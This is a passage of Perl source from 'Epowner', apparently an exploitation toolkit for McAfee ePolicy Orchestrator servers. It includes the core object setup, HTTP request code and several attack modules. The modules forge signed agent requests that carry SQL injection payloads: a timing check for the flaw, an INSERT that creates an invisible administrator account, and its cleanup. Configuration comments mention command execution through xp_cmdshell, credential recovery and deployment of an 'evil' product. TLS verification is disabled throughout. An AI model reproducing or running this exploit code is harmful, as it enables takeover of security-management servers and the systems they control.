Epowner::ModeAddAdmin; 51 | use Epowner::ModeReadDB; 52 | use Epowner::ModeGatherInfo; 53 | use Epowner::ModeDomainPasswd; 54 | use Epowner::ModeWipe; 55 | use Epowner::ModeServerExec; 56 | use Epowner::ModeServerUpload; 57 | use Epowner::ModeClientDeploy; 58 | use Epowner::ModeSQL; 59 | 60 | 61 | 62 | sub new{ 63 | my $this = {}; 64 | 65 | my ($class) = @_; # get the parameters 66 | 67 | 68 | # cabextract linux tool 69 | $this->{cabextract_path} = `which cabextract`; 70 | $this->{cabextract_path} =~ s/\n//g; 71 | # test cabextract 72 | if (not -f $this->{cabextract_path}) { 73 | print "ERROR: 'cabextract' was not found on your system. Please apt-getize cabextract\n"; 74 | exit; 75 | } 76 | 77 | # lcab linux tool 78 | $this->{lcab_path} = `which lcab`; 79 | $this->{lcab_path} =~ s/\n//g; 80 | # test cabextract 81 | if (not -f $this->{lcab_path}) { 82 | print "ERROR: 'lcab' was not found on your system. Please apt-getize lcab\n"; 83 | exit; 84 | } 85 | 86 | # 7z tool 87 | $this->{seven_z_path} = `which 7z`; 88 | $this->{seven_z_path} =~ s/\n//g; 89 | # test 7z 90 | if (not -f $this->{seven_z_path}) { 91 | print "ERROR: '7z' was not found on your system. Please apt-getize 7z\n"; 92 | exit; 93 | } 94 | 95 | 96 | 97 | $this->{vulnerable} = 0; # updated by --check 98 | 99 | $this->{state_registered} = 0; # updated by --register and --unregister 100 | 101 | $this->{use_color} = 1; # colored output ? 102 | 103 | # 3DES key 104 | # This key is used for both catalog.z, PkgCatalog.z and agent-server communication 105 | $this->{des3_symkey} = ''; 106 | 107 | # AES-128 Key 108 | # This key is used to encrypt Domain creds inside the database. This key is stored inside orion.keystore file on the server 109 | # The key is recovered by "--ad-creds" 110 | $this->{aes_symkey_keystore} = ''; 111 | 112 | # Server variables 113 | $this->{server_host} = 0; 114 | $this->{server_port} = 443; 115 | $this->{server_consoleport} = 8443; 116 | $this->{server_pubkeyhash} = 0; 117 | $this->{server_is_dba} = 0; # updated by "check mode" 118 | $this->{server_force_nondba} = 0; 119 | $this->{server_mssql_whoami} = ''; # updated by "check mode". If 'server_is_dba' is true, do we have SYSTEM priv or "Network Service" ? 120 | 121 | $this->{server_db_folder} = ''; # filled-in by --get-install-path 122 | $this->{server_db_folder_default} = 'C:\PROGRA~2\McAfee\EPOLIC~1\DB'; 123 | $this->{server_tomcat_folder} = ''; 124 | $this->{server_tomcat_folder_default} = 'C:\PROGRA~2\McAfee\EPOLIC~1\Server'; 125 | $this->{server_apache_folder} = ''; 126 | $this->{server_apache_folder_default} = 'C:\PROGRA~2\McAfee\EPOLIC~1\Apache2'; 127 | $this->{server_install_folder} = ''; 128 | $this->{server_install_folder_default} = 'C:\PROGRA~2\McAfee\EPOLIC~1'; 129 | 130 | $this->{server_servername} = ''; # feeded by ModeReadDB 131 | 132 | # Remote command exec 133 | $this->{srv_exec_mode} = 0; # Which mode to use for remote code exec on the ePo server ? 134 | # 0 : Not defined yet 135 | # 1 : Use DBA mode (xp_cmdshell) because we found that MSSQL run with SYSTEM account 136 | # 2 : Use Non-DBA mode (automatic response rule). 137 | $this->{srv_exec_priv} = 0; # do we have high privilege (SYSTEM) in the current 'srv_exec_mode' ? 138 | 139 | 140 | # Agent variables 141 | $this->{agent_hostname} = 0; 142 | $this->{agent_ip} = 0; 143 | $this->{agent_subnet} = 0; 144 | $this->{agent_netmask} = 0; 145 | $this->{agent_mac} = 0; 146 | $this->{agent_guid} = 0; 147 | $this->{agent_seqnum} = 1; 148 | 149 | $this->{verbose} = 0; 150 | $this->{force} = 0; 151 | $this->{dsa_agent} = Crypt::OpenSSL::DSA->new(); 152 | 153 | 154 | # States 155 | $this->{state_exec_nondba_setup} = 0; # did we already ran --srv-exec --setup-nondba ? 156 | $this->{state_add_admin} = 0; # did we already ran --add-admin ? 157 | $this->{state_cli_deploy} = 0; # did we use --cli-deploy ? (flag used by --clean-all) 158 | 159 | # Tag 160 | $this->{common_prefix} = ''; # Used to build various name inside ePo DB and webconsole 161 | # Cleanup functions use this tag to recognise any entries we've created 162 | # during a previous session. Value is generated during --register 163 | 164 | # config filenmanes 165 | $this->{config_file} = "epo.conf"; 166 | $this->{agent_dsa_filename_private} = "agent-dsa-priv.pem"; 167 | 168 | # variables for building HTTP requests 169 | $this->{binary_header1} = ''; 170 | $this->{binary_header2} = ''; 171 | $this->{props_xml} = ''; 172 | $this->{event_xml} = ''; 173 | 174 | 175 | # Tomcat 176 | $this->{browser} = ''; # User-Agent object 177 | $this->{security_token} = ''; # tomcat token 178 | $this->{admin_username} = ''; 179 | $this->{admin_password} = ''; 180 | 181 | 182 | # Variables for --register 183 | $this->{dsa_reqseckey_private} = Crypt::OpenSSL::DSA->new(); 184 | $this->{agent_pubkey_epo_format} = ''; 185 | 186 | 187 | $this->{temp_folder} = 'tmp/'; 188 | 189 | # catalog DSA & RSA keys 190 | $this->{catalog_dsa_folder} = "$this->{temp_folder}dsa/"; 191 | $this->{catalog_rsa_folder} = "$this->{temp_folder}/rsa/"; 192 | $this->{catalog_dsa_pub_file} = 'smpubkey.bin'; 193 | $this->{catalog_rsa_pub_file} = 'smpubkey.bin'; 194 | $this->{catalog_dsa_priv_file} = 'smseckey.bin'; 195 | $this->{catalog_rsa_priv_file} = 'smseckey.pem'; # we need pem file here 196 | 197 | 198 | # catalog files 199 | $this->{catalog_tmp_folder} = "$this->{temp_folder}/catalog/"; 200 | $this->{catalog_xml_file} = 'catalog.xml'; 201 | $this->{catalog_cab_file} = 'catalog.cab.tmp'; 202 | $this->{catalog_signedcab_file} = 'catalog.cab'; 203 | $this->{catalog_z_file} = 'catalog.z'; 204 | 205 | # PkgCatalog DSA & RSA keys 206 | $this->{pkgcatalog_dsa_folder} = $this->{catalog_dsa_folder}; 207 | $this->{pkgcatalog_rsa_folder} = $this->{catalog_rsa_folder}; 208 | $this->{pkgcatalog_dsa_pub_file} = $this->{catalog_dsa_pub_file}; 209 | $this->{pkgcatalog_rsa_pub_file} = $this->{catalog_rsa_pub_file}; 210 | $this->{pkgcatalog_dsa_priv_file} = $this->{catalog_dsa_priv_file}; 211 | $this->{pkgcatalog_rsa_priv_file} = $this->{catalog_rsa_priv_file}; 212 | 213 | # PkgCatalog files 214 | $this->{pkgcatalog_tmp_folder} = "$this->{temp_folder}/pkgcatalog/"; 215 | $this->{pkgcatalog_xml_file} = 'PkgCatalog.xml'; 216 | $this->{pkgcatalog_cab_file} = 'PkgCatalog.cab.tmp'; 217 | $this->{pkgcatalog_signedcab_file} = 'PkgCatalog.cab'; 218 | $this->{pkgcatalog_z_file} = 'PkgCatalog.z'; 219 | 220 | # unzip.exe (used by --deploy) 221 | $this->{unzip_local_file} = "tools/unzip.exe"; 222 | $this->{unzip_remote_file} = "unzip00000000000000000.exe"; 223 | 224 | # DumpKey.class 225 | $this->{tool_dumpkey} = 'tools/DumpKey0000000000000.class'; 226 | 227 | 228 | # Softwar deploymnt soft 229 | $this->{deploy_local_repository} = "$this->{temp_folder}/deployment/repo/"; # build repository tree 230 | $this->{deploy_local_zipfile} = "$this->{temp_folder}/deployment/repo.zip"; # zipped repo (local filename) 231 | $this->{deploy_remote_zipfile} = "repo000000000000000000.zip"; # zipped repo (remote file name), to upload and decompress on server 232 | $this->{deploy_evil_product_id} = ''; # generated once during --register. used by --deploy and for cleaning.. 233 | $this->{deploy_evil_product_version} = '4.5.0'; 234 | $this->{deploy_evil_product_build} = '1471'; 235 | $this->{deploy_products_replica_log} = "$this->{temp_folder}/deployment/replica.log"; 236 | $this->{deploy_run_bat} = "$this->{temp_folder}/deployment/run.bat"; # batch file wich will start our evil file, or execute our command 237 | # during software deployment 238 | 239 | # Software Managment keys 240 | $this->{smkey_dsa} = $this->{catalog_dsa_folder} ; 241 | $this->{smkey_rsa} = $this->{catalog_rsa_folder} ; 242 | 243 | 244 | 245 | #git-issue-1 246 | #----------- 247 | # local path to srpubkey.bin 248 | $this->{srpubkey_bin} = ''; # Public DSA key of server 249 | # local path to reqseckey.bin 250 | $this->{reqseckey_bin} = ''; # "Common" private DSA key for registration request signature 251 | # local path to framepkg.exe 252 | $this->{framepkg_exe} = ''; 253 | 254 | 255 | # drop previous temp folder if any .. 256 | rmtree($this->{temp_folder}); 257 | 258 | bless $this, $class; 259 | return $this; 260 | } 261 | 262 | # Conf file 263 | sub set_config_file { 264 | my $this = shift; my $data = shift; 265 | $this->{config_file} = $data; 266 | } 267 | 268 | sub get_config_file { 269 | my $this = shift; return $this->{config_file}; 270 | } 271 | 272 | sub set_no_color{ 273 | my $this = shift; 274 | $this->{use_color} = 0; 275 | } 276 | 277 | sub set_force{ 278 | my $this = shift; 279 | $this->{force} =1; 280 | } 281 | 282 | sub set_server_console_port { 283 | my $this = shift; my $data = shift; 284 | $this->{server_consoleport} = $data; 285 | } 286 | 287 | sub set_registered{ 288 | my $this = shift; 289 | $this->{state_registered} = 1; 290 | } 291 | 292 | sub have_dba_privs{ 293 | my $this = shift; 294 | return $this->{server_is_dba}; 295 | } 296 | 297 | sub get_srv_exec_mode{ 298 | my $this = shift; 299 | return $this->{srv_exec_mode}; 300 | } 301 | 302 | sub have_srv_exec_priv(){ 303 | my $this = shift; 304 | return $this->{srv_exec_priv}; 305 | } 306 | 307 | sub init_prefix{ 308 | my $this = shift; 309 | $this->{common_prefix} = random_string_alphanum_lower(6); 310 | } 311 | sub init_productid{ 312 | my $this = shift; 313 | $this->{deploy_evil_product_id} = random_string_upper(8); 314 | } 315 | 316 | 317 | # Verbose 318 | sub set_verbose_mode { 319 | my $this = shift; my $data = shift; 320 | $this->{verbose} = $data;; 321 | } 322 | sub get_verbose_mode { 323 | my $this = shift; 324 | return $this->{verbose}; 325 | } 326 | 327 | # Server host 328 | sub set_server_host{ 329 | my $this = shift; my $data = shift; 330 | $this->{server_host} = $data; 331 | } 332 | sub get_server_host{ 333 | my $this = shift; return $this->{server_host}; 334 | } 335 | 336 | # Server port 337 | sub set_server_port{ 338 | my $this = shift; my $data = shift; 339 | $this->{server_port} = $data; 340 | } 341 | sub get_server_port{ 342 | my $this = shift; return $this->{server_port}; 343 | } 344 | 345 | # Agent hostname 346 | sub set_agent_hostname{ 347 | my $this = shift; my $data = shift; 348 | $this->{agent_hostname} = $data; 349 | print " [+] Agent Hostname: " . $this->{agent_hostname}. "\n" if $this->{verbose}; 350 | } 351 | sub get_agent_hostname{ 352 | my $this = shift; return $this->{agent_hostname}; 353 | } 354 | 355 | # Agent IP 356 | sub set_agent_ip{ 357 | my $this = shift; my $data = shift; 358 | $this->{agent_ip} = $data; 359 | $this->{agent_subnet} = $data; 360 | $this->{agent_subnet} =~ s/\.[0-9]+$/.0/; # let's say we want C class 361 | $this->{agent_netmask} = '255.255.255.0'; 362 | print " [+] Agent IP: " . $this->{agent_ip}. "/24\n" if $this->{verbose}; 363 | } 364 | sub get_agent_ip{ 365 | my $this = shift; return $this->{agent_ip}; 366 | } 367 | 368 | # Agent Mac 369 | sub set_agent_mac{ 370 | my $this = shift; my $data = shift; 371 | $this->{agent_mac} = $data; 372 | print " [+] Agent MAC: " . $this->{agent_mac}. "\n" if $this->{verbose}; 373 | } 374 | sub get_agent_mac{ 375 | my $this = shift; return $this->{agent_mac}; 376 | } 377 | 378 | 379 | # Agent GUID 380 | sub generate_agent_guid { 381 | my $this = shift; 382 | $this->{agent_guid} = generate_guid(); 383 | print " [+] Agent GUID : " . $this->{agent_guid}. "\n" if $this->{verbose}; 384 | } 385 | sub get_agent_guid{ 386 | my $this = shift; return $this->{agent_guid}; 387 | } 388 | 389 | # DBA mode 390 | sub set_force_nondba{ 391 | my $this = shift; 392 | $this->{server_force_nondba} = 1; 393 | print " [+] Forcing Cmd EXE in Non-DBA mode\n" if $this->{verbose}; 394 | } 395 | sub get_force_nondba{ 396 | my $this = shift; 397 | return $this->{server_force_nondba}; 398 | } 399 | 400 | 401 | #git-issue-1 402 | #----------- 403 | sub set_path_srpubkey_bin{ 404 | my $this = shift; 405 | $this->{srpubkey_bin} = shift; 406 | 407 | # file exists ? 408 | if(not -f $this->{srpubkey_bin}){ 409 | print "[-] ERROR (srpubkey_bin): file not found at '" . $this->{srpubkey_bin}. "'\n"; 410 | exit; 411 | } 412 | print " [+] Local path to srpubkey.bin : " . $this->{srpubkey_bin} . "\n" if $this->{verbose}; 413 | } 414 | sub set_path_reqseckey_bin{ 415 | my $this = shift; 416 | $this->{reqseckey_bin} = shift; 417 | 418 | # file exists ? 419 | if(not -f $this->{reqseckey_bin}){ 420 | print "[-] ERROR (reqseckey_bin): file not found at '" . $this->{reqseckey_bin}. "'\n"; 421 | exit; 422 | } 423 | print " [+] Local path to reqseckey.bin : " . $this->{reqseckey_bin} . "\n" if $this->{verbose}; 424 | } 425 | sub set_path_framepkg_exe{ 426 | my $this = shift; 427 | $this->{framepkg_exe} = shift; 428 | 429 | # file exists ? 430 | if(not -f $this->{framepkg_exe}){ 431 | print "[-] ERROR (framepkg_exe): file not found at '" . $this->{framepkg_exe}. "'\n"; 432 | exit; 433 | } 434 | print " [+] Local path to framepkg.exe : " . $this->{framepkg_exe} . "\n" if $this->{verbose}; 435 | } 436 | 437 | 438 | 1; 439 | -------------------------------------------------------------------------------- /Epowner/HTTP.pm: -------------------------------------------------------------------------------- 1 | package Epowner::Epo; 2 | 3 | 4 | use XML::Simple; 5 | use Data::Dumper; 6 | 7 | use strict; 8 | use warnings; 9 | 10 | # git-issue-1 11 | IO::Socket::SSL::set_ctx_defaults(SSL_verify_mode => SSL_VERIFY_NONE); 12 | $ENV{PERL_LWP_SSL_VERIFY_HOSTNAME} = 0; 13 | 14 | 15 | #============================================================# 16 | # Send a McAfee HTTP POST Request # 17 | #============================================================# 18 | sub send_http_request{ 19 | my $this = shift; 20 | my $post_data = shift; 21 | 22 | # init browser 23 | my $ua = LWP::UserAgent->new (ssl_opts => { 24 | verify_hostname => 0, 25 | SSL_verify_mode => SSL_VERIFY_NONE 26 | } 27 | ); 28 | # $ua->ssl_opts( verify_hostname => 0 ); 29 | $ua->agent("Mozilla/4.0 (compatible; SPIPE/3.0; Windows)"); 30 | 31 | 32 | # init request 33 | my $req = HTTP::Request->new(); 34 | $req->method("POST"); 35 | $req->uri( "https://" . $this->{server_host} .":". $this->{server_port} . 36 | "/spipe/pkg?AgentGuid=" .$this->{agent_guid} . "&Source=Agent_3.0.0 HTTP/1.1"); 37 | $req->content_type('application/octet-stream'); 38 | $req->header(Accept => "application/octet-stream"); 39 | $req->content($post_data); 40 | 41 | # Sending ... 42 | print " [+] Sending malicious request (please wait...)\n" if $this->{verbose}; 43 | my $res = $ua->request($req); 44 | if ( ! $res->is_success) { 45 | $this->print_err ("[-] HTTP Request failed with error '" . $res->status_line . "'.. :( \n") ; 46 | if($res->code eq "503"){ 47 | $this->print_data(" Could be related to an invalid (too small) sequence number. I will increasing it for you\n"); 48 | $this->print_data(" Please try again ...\n"); 49 | $this->{agent_seqnum}+=100; 50 | $this->config_save(); 51 | } 52 | exit; 53 | } 54 | 55 | 56 | return $res->content; 57 | } 58 | 59 | 60 | #============================================================# 61 | # Get a page (poll until the page exists) # 62 | #============================================================# 63 | sub http_poll_uri_get { 64 | 65 | my $this = shift; 66 | my $uri = shift; 67 | 68 | my $get_request = HTTP::Request->new; 69 | $get_request->method('GET'); 70 | $get_request->uri($uri); 71 | 72 | #my $user_agent = LWP::UserAgent->new (ssl_opts => { verify_hostname => 0 }); 73 | my $user_agent = LWP::UserAgent->new (ssl_opts => { 74 | verify_hostname => 0, 75 | SSL_verify_mode => SSL_VERIFY_NONE 76 | } 77 | ); 78 | 79 | my $response; 80 | my $body = 0; 81 | 82 | #if($this->{server_is_dba} and not $this->{server_force_nondba}){ 83 | if($this->{srv_exec_mode} == 1 and not $this->{server_force_nondba}){ 84 | print " [+] polling $uri : " ; 85 | $response = $user_agent->request($get_request); 86 | if ($response->code eq "200"){ 87 | print " found!\n"; 88 | $body = $response->content; 89 | }else{ 90 | print " not found..\n" ; 91 | print "[-] ERROR (http_poll_uri_get): can't download $uri\n"; 92 | return 0; 93 | } 94 | }else{ 95 | # in non-dba cmd exec mode, the previous 'copy' command is run asynchronously 96 | # give a few try here.. 97 | for(my $i=0;$i<20;$i++){ 98 | print " [+] polling $uri : " ; 99 | $response = $user_agent->request($get_request); 100 | if ($response->code eq "200"){ 101 | print " found!\n"; 102 | $body = $response->content; 103 | $i =20; #exit loop 104 | }else{ 105 | print " not found. Retrying in 10 sec ...\n" ; 106 | sleep(10); 107 | } 108 | } 109 | if ($response->code ne "200"){ 110 | print "[-] ERROR (http_poll_uri_get): can't download $uri\n"; 111 | return 0; 112 | } 113 | } 114 | 115 | return $body; 116 | 117 | } 118 | 119 | 120 | #============================================================# 121 | # HTTP Response: Parse 'Server.xml' # 122 | #============================================================# 123 | sub parse_server_xml { 124 | 125 | # NOTE : I'm not really pride of this function 126 | # It was my first time with XML::Simple 127 | 128 | 129 | my $this = shift; 130 | my $xml_str = shift; 131 | 132 | my @output; # to return 133 | 134 | # read XML 135 | my $xml = new XML::Simple; 136 | my $data = $xml->XMLin( $xml_str, 137 | ForceArray => 0, 138 | KeyAttr => { Policy => 'PathID', 139 | Product => 'SoftwareID', 140 | Setting => 'name', 141 | Section => 'name'} 142 | ); 143 | 144 | # print output 145 | my %policy_hash = %{$data->{'PolicyRoot'}->{'PolicyGroup'}->{'Policy'}}; 146 | 147 | #print Dumper($data); 148 | 149 | foreach my $key( keys %policy_hash ){ 150 | 151 | # if we find 'Product' but no 'Section, it means that we have multiple products 152 | if(defined($policy_hash{$key}{'Product'} ) 153 | && !defined($policy_hash{$key}{'Product'}{'Section'})){ 154 | #print "must parse sub products\n"; 155 | foreach my $key2 (keys %{$policy_hash{$key}{'Product'}}){ 156 | if( defined($policy_hash{$key}{'Product'}{$key2}{'Section'}{'ProxySettings'})){ 157 | #print "Found \n"; 158 | # TODO: not sure we need this 159 | } 160 | } 161 | 162 | }else{ 163 | # Otherwise, test for proxySettings 164 | if( defined($policy_hash{$key}{'Product'}{'Section'}{'ProxySettings'})){ 165 | # parse setting 166 | foreach my $key2 (keys %{$policy_hash{$key}{'Product'}{'Section'}{'ProxySettings'}{'Setting'}} ){ 167 | if($key2 =~ /epowner_data_/){ 168 | my $value = $policy_hash{$key}{'Product'}{'Section'}{'ProxySettings'}{'Setting'}{$key2}{'content'}; 169 | #print " $value\n"; 170 | push (@output, $value); 171 | } 172 | } 173 | } 174 | 175 | } 176 | } 177 | 178 | return (@output); 179 | 180 | } 181 | 182 | 183 | 184 | #============================================================# 185 | # HTTP Response : Parse the McAfee data from the body # 186 | #============================================================# 187 | sub parse_data_response { 188 | 189 | my $this = shift; 190 | my $data = shift; 191 | my %return ; 192 | 193 | 194 | # POLICY SERVER 195 | #============== 196 | 197 | #00000000 01 00 11 00 50 6f 6c 69 63 79 5c 53 65 72 76 65 |....Policy\Serve| 198 | #00000010 72 2e 78 6d 6c 0d 28 00 00 3c 3f 78 6d 6c 20 76 |r.xml.(..| 201 | 202 | # Where is defined Server.xml ? 203 | my $server_xml_position = index($data, "Policy\\Server.xml"); 204 | if($server_xml_position eq -1){ 205 | print "[-] ERROR: Could not find 'Policy\\Server.xml' in the HTTP response\n"; 206 | exit; 207 | } 208 | 209 | # get server.xml content 210 | my $server_xml = substr($data, $server_xml_position + length("Policy\\Server.xml")); 211 | 212 | # get server.xml len 213 | my $server_xml_len = substr($server_xml, 0, 4); 214 | $server_xml_len = unpack("V", $server_xml_len); 215 | $return{'server_xml_len'} = $server_xml_len; 216 | #print $server_xml_len . "\n"; 217 | 218 | # remove len 219 | $server_xml = substr($server_xml, 4); 220 | 221 | # finalise server.xml content 222 | $server_xml = substr($server_xml, 0, $server_xml_len); 223 | $return{'server_xml'} = $server_xml; 224 | #print $server_xml . "\n"; 225 | 226 | 227 | 228 | 229 | # REPOKEY.INI 230 | #=============== 231 | 232 | 233 | #00002800 61 73 6b 47 72 6f 75 70 3e 0d 0a 3c 2f 54 61 73 |askGroup>..........RepoKe| 236 | #00002830 79 73 2e 69 6e 69 4a 0d 00 00 5b 52 65 70 6f 4b |ys.iniJ...[RepoK| 237 | #00002840 65 79 48 61 73 68 4c 69 73 74 5d 0d 0a 56 65 72 |eyHashList]..Ver| 238 | #00002850 73 69 6f 6e 3d 32 30 31 32 31 30 30 37 31 37 31 |sion=20121007171| 239 | #00002860 35 30 33 0d 0a 4c 69 73 74 3d 46 31 48 6a 74 54 |503..List=F1HjtT| 240 | 241 | 242 | # Where is defined repokey.ini ? 243 | my $repokeys_ini_position = index($data, "RepoKeys.ini"); 244 | if($repokeys_ini_position eq -1){ 245 | print "[-] ERROR: Could not find 'RepoKeys.ini' in the HTTP response\n"; 246 | exit; 247 | } 248 | 249 | # get content 250 | my $repokeys_ini = substr($data, $repokeys_ini_position + length("RepoKeys.ini")); 251 | 252 | # get repokeys.ini len 253 | my $repokeys_ini_len = substr($repokeys_ini, 0, 4); 254 | $repokeys_ini_len = unpack("V", $repokeys_ini_len); 255 | $return{'repokeys_len'} = $repokeys_ini_len; 256 | #print $repokeys_ini_len . "\n"; 257 | 258 | # remove len 259 | $repokeys_ini = substr($repokeys_ini, 4); 260 | 261 | # finalise content 262 | $repokeys_ini = substr($repokeys_ini, 0, $repokeys_ini_len); 263 | $return{'repokeys'} = $repokeys_ini; 264 | #print $repokeys_ini . "\n"; 265 | 266 | 267 | 268 | # SITELIST.XML 269 | #=============== 270 | 271 | #00003570 43 6e 35 56 63 67 67 57 4d 43 41 77 45 41 41 51 |Cn5VcggWMCAwEAAQ| 272 | #00003580 3d 3d 0d 0a 03 00 0c 00 53 69 74 65 4c 69 73 74 |==......SiteList| 273 | #00003590 2e 78 6d 6c 8c 0c 00 00 3c 6e 73 3a 53 69 74 65 |.xml....{server_host}; 401 | my $server_port = $this->{server_port}; 402 | my $s = IO::Socket::SSL->new( 403 | PeerHost => $server_host, 404 | PeerPort => $server_port, 405 | SSL_verify_mode => SSL_VERIFY_NONE); 406 | #or die "[-] ERROR in SSL Socket Creation to $server_host:$server_port\n $!\n"; 407 | if($s) { close $s; return 1;} 408 | else { return 0;} 409 | } 410 | 411 | #==================================================================== 412 | # FUNCTION: Test Connectivity with admin console (TODO: and perform fingerprint verif) 413 | #==================================================================== 414 | sub check_connectivity_webconsole{ 415 | my $this = shift; 416 | my $server_host = $this->{server_host}; 417 | my $server_port = $this->{server_consoleport}; 418 | my $s = IO::Socket::SSL->new( 419 | PeerHost => $server_host, 420 | PeerPort => $server_port, 421 | SSL_verify_mode => SSL_VERIFY_NONE); 422 | #or die "[-] ERROR in SSL Socket Creation to $server_host:$server_port\n $!\n"; 423 | if($s) { 424 | close $s; 425 | return 1; 426 | } else { return 0;} 427 | } 428 | 429 | 430 | 1; 431 | -------------------------------------------------------------------------------- /Epowner/ModeAddAdmin.pm: -------------------------------------------------------------------------------- 1 | package Epowner::Epo; 2 | 3 | use MIME::Base64; 4 | use Digest::SHA qw(sha1); 5 | use URI::Escape; 6 | 7 | use strict; 8 | use warnings; 9 | 10 | 11 | #============================================================# 12 | # Delete our admin from the DB # 13 | #============================================================# 14 | sub mode_addadmin_clean { 15 | 16 | my $this = shift; 17 | 18 | if($this->{state_add_admin} eq 0){ 19 | $this->print_err ("[-] ERROR (mode_addadmin_clean) : It appears that you never ran '--add-admin'. There is nothing to clean up\n"); 20 | return 0; 21 | } 22 | 23 | # SQL Injection 24 | my $sqli = 25 | "') ; DELETE from [dbo].[OrionUsers] where Name = '$this->{admin_username}' ; -- "; 26 | 27 | 28 | print "[*] Removing our admin account from the ePo database\n"; 29 | 30 | my $http_request = $this->mode_common_generate_fullprops_request($sqli); 31 | if($this->send_http_request($http_request)){ 32 | $this->print_ok ("[*] User '$this->{admin_username}' removed from the database.\n"); 33 | 34 | # keep trace of this action 35 | $this->{state_add_admin} = 0; 36 | }else{ 37 | return 0; 38 | } 39 | 40 | return 1; 41 | 42 | 43 | 44 | } 45 | 46 | #============================================================# 47 | # Add our own admin in the database # 48 | #============================================================# 49 | sub mode_addadmin { 50 | 51 | my $this = shift; 52 | my $username = shift || random_string_alphanum_lower(6); 53 | my $password = shift || random_string_alphanum_lower(6); 54 | 55 | 56 | # we only manage one admin 57 | if($this->{state_add_admin}){ 58 | $this->print_warn ("[-] WARN (mode_addadmin) : It appears that you already added a new admin\n"); 59 | $this->print_warn (" If you want to remove it, please use '--add-admin --clean'. Skipping request.\n"); 60 | return 0; 61 | } 62 | 63 | $this->print_info_l1("[*] Call to ModeAddAdmin\n"); 64 | $this->print_info_l2(" Parameters: "); 65 | print "Username: $username , Password: $password\n"; 66 | 67 | # generate password hash 68 | my $salt = random_string(4); # 4 byte of salt 69 | my $sha1 = sha1($password . $salt); # SHA1 70 | my $hash = uri_escape(encode_base64($sha1 . $salt, "")); # URL + b64 encoding 71 | $hash = "auth:pwd?pwd=" . $hash; 72 | 73 | # SQL Injection 74 | my $sqli = 75 | "') ; INSERT INTO [dbo].[OrionUsers] (Name, AuthURI, Admin, Disabled, Visible, Interactive, Removable, Editable) " . 76 | " VALUES ('$username','$hash',1,0,0,1,1,1) ; -- "; 77 | 78 | 79 | print "[*] Adding a new (invisible) admin in the ePo database\n"; 80 | 81 | my $http_request = $this->mode_common_generate_fullprops_request($sqli); 82 | if($this->send_http_request($http_request)){ 83 | 84 | # save it 85 | $this->{admin_username} = $username; 86 | $this->{admin_password} = $password; 87 | 88 | $this->print_ok ("[*] You should now be able to logon on https://" . $this->{server_host} . ":" . $this->{server_consoleport} . "\n"); 89 | $this->print_ok ("[*] Login: $this->{admin_username}\n"); 90 | $this->print_ok ("[*] Passw: $this->{admin_password}\n"); 91 | 92 | # keep trace of this action 93 | $this->{state_add_admin} = 1; 94 | 95 | }else{ 96 | return 0; 97 | } 98 | 99 | return 1; 100 | 101 | } 102 | 1; 103 | -------------------------------------------------------------------------------- /Epowner/ModeCheck.pm: -------------------------------------------------------------------------------- 1 | package Epowner::Epo; 2 | 3 | use Time::HiRes qw(time); 4 | 5 | use strict; 6 | use warnings; 7 | 8 | 9 | #============================================================# 10 | # Check vulnerability # 11 | #============================================================# 12 | sub mode_check { 13 | 14 | my $this = shift; 15 | 16 | my $check_for_nondba=0; 17 | 18 | # WAITFOR DELAY 19 | 20 | my $sec = 15; 21 | 22 | print "\n"; 23 | $this->print_info ("[*] Testing SQL Injection vulnerability\n"); 24 | $this->print_info_l2 (" (waitfor delay '00:00:$sec')\n"); 25 | 26 | my $sqli_waitfordelay = "') waitfor delay '00:00:$sec' ; -- " ; 27 | 28 | my $http_request = $this->mode_common_generate_fullprops_request($sqli_waitfordelay); 29 | my $time_start = time(); 30 | $this->send_http_request($http_request); 31 | my $time_stop = time(); 32 | my $delay = $time_stop - $time_start; 33 | 34 | if($delay < ($sec - 1)){ 35 | printf "[-] Not good... Elapsed time: %.3f seconds (expected >= $sec)\n", $delay; 36 | print " This target doesn't seem vulnerable. Exiting.\n"; 37 | $this->{vulnerable} = 0; 38 | }else{ 39 | my $str = sprintf "[*] Looks good !! Elapsed time: %.3f seconds\n", $delay; 40 | print $str; 41 | $this->print_ok("[*] It appears that the target is vulnerable to SQL injection !\n"); 42 | $this->{vulnerable} = 1; 43 | } 44 | 45 | 46 | } 47 | 1; 48 | -------------------------------------------------------------------------------- /Epowner/ModeCommon.pm: -------------------------------------------------------------------------------- 1 | package Epowner::Epo; 2 | 3 | use MIME::Base64; 4 | 5 | use strict; 6 | use warnings; 7 | 8 | 9 | 10 | 11 | #==================================================================== 12 | # FUNCTION: Common : Generate HTTP Request 13 | #==================================================================== 14 | sub mode_common_generate_fullprops_request{ 15 | 16 | my $this = shift; 17 | my $sqli = shift; 18 | 19 | # build data 20 | print " [+] Generating data structures\n" if $this->{verbose}; 21 | $this->build_struct_fullprops_header1(); 22 | $this->build_struct_fullprops_header2(); 23 | $this->build_struct_fullprops_props($sqli); 24 | 25 | 26 | # Compressing FULL Properties XML 27 | #==================================================================== 28 | print " [+] Compressing FullProps XML\n" if $this->{verbose}; 29 | my $data_compressed = compress_deflate($this->{props_xml}); 30 | 31 | 32 | # Updating various fields in binary_header1 33 | #==================================================================== 34 | print " [+] Updating various fields in binary_header1\n" if $this->{verbose}; 35 | 36 | # Update HEADER_LEN in "binary_header1" (little-endian) 37 | my $final_header_len = pack("V", length($this->{binary_header1}) + length($this->{binary_header2})); 38 | $this->{binary_header1} =~ s/WWWW/$final_header_len/; 39 | 40 | # Update DATA_LEN in "binary_header1" (little-endian) 41 | my $final_data_len = pack("V", length($data_compressed)); 42 | $this->{binary_header1} =~ s/ZZZZ/$final_data_len/; 43 | 44 | 45 | # XORing binary_header1 46 | #==================================================================== 47 | print " [+] XORing binary_header1\n" if $this->{verbose}; 48 | # XOR post_binary_header1 (because it's fun ?) 49 | my $binary_header1_xored = xor_str($this->{binary_header1}, 0xaa); 50 | 51 | 52 | 53 | # Generating DSA Signature 54 | #==================================================================== 55 | print " [+] Generating DSA Signature\n" if $this->{verbose}; 56 | my $signature = dsa_sign( 57 | $this->{binary_header1} . $this->{binary_header2} . $data_compressed, # to sign 58 | $this->{dsa_agent} # dsa object 59 | ); 60 | 61 | 62 | # Building final HTTP POST request 63 | #==================================================================== 64 | print " [+] Building final HTTP POST request\n" if $this->{verbose}; 65 | # Final binary package 66 | my $post_data= 67 | $binary_header1_xored . 68 | $this->{binary_header2} . 69 | $data_compressed . 70 | $signature; 71 | 72 | 73 | return $post_data; 74 | 75 | 76 | # Final HTTP request 77 | # my $http_req = 78 | # "POST /spipe/pkg?AgentGuid=" .$this->{agent_guid} . "&Source=Agent_3.0.0 HTTP/1.1\r\n" . 79 | # "User-Agent: Mozilla/4.0 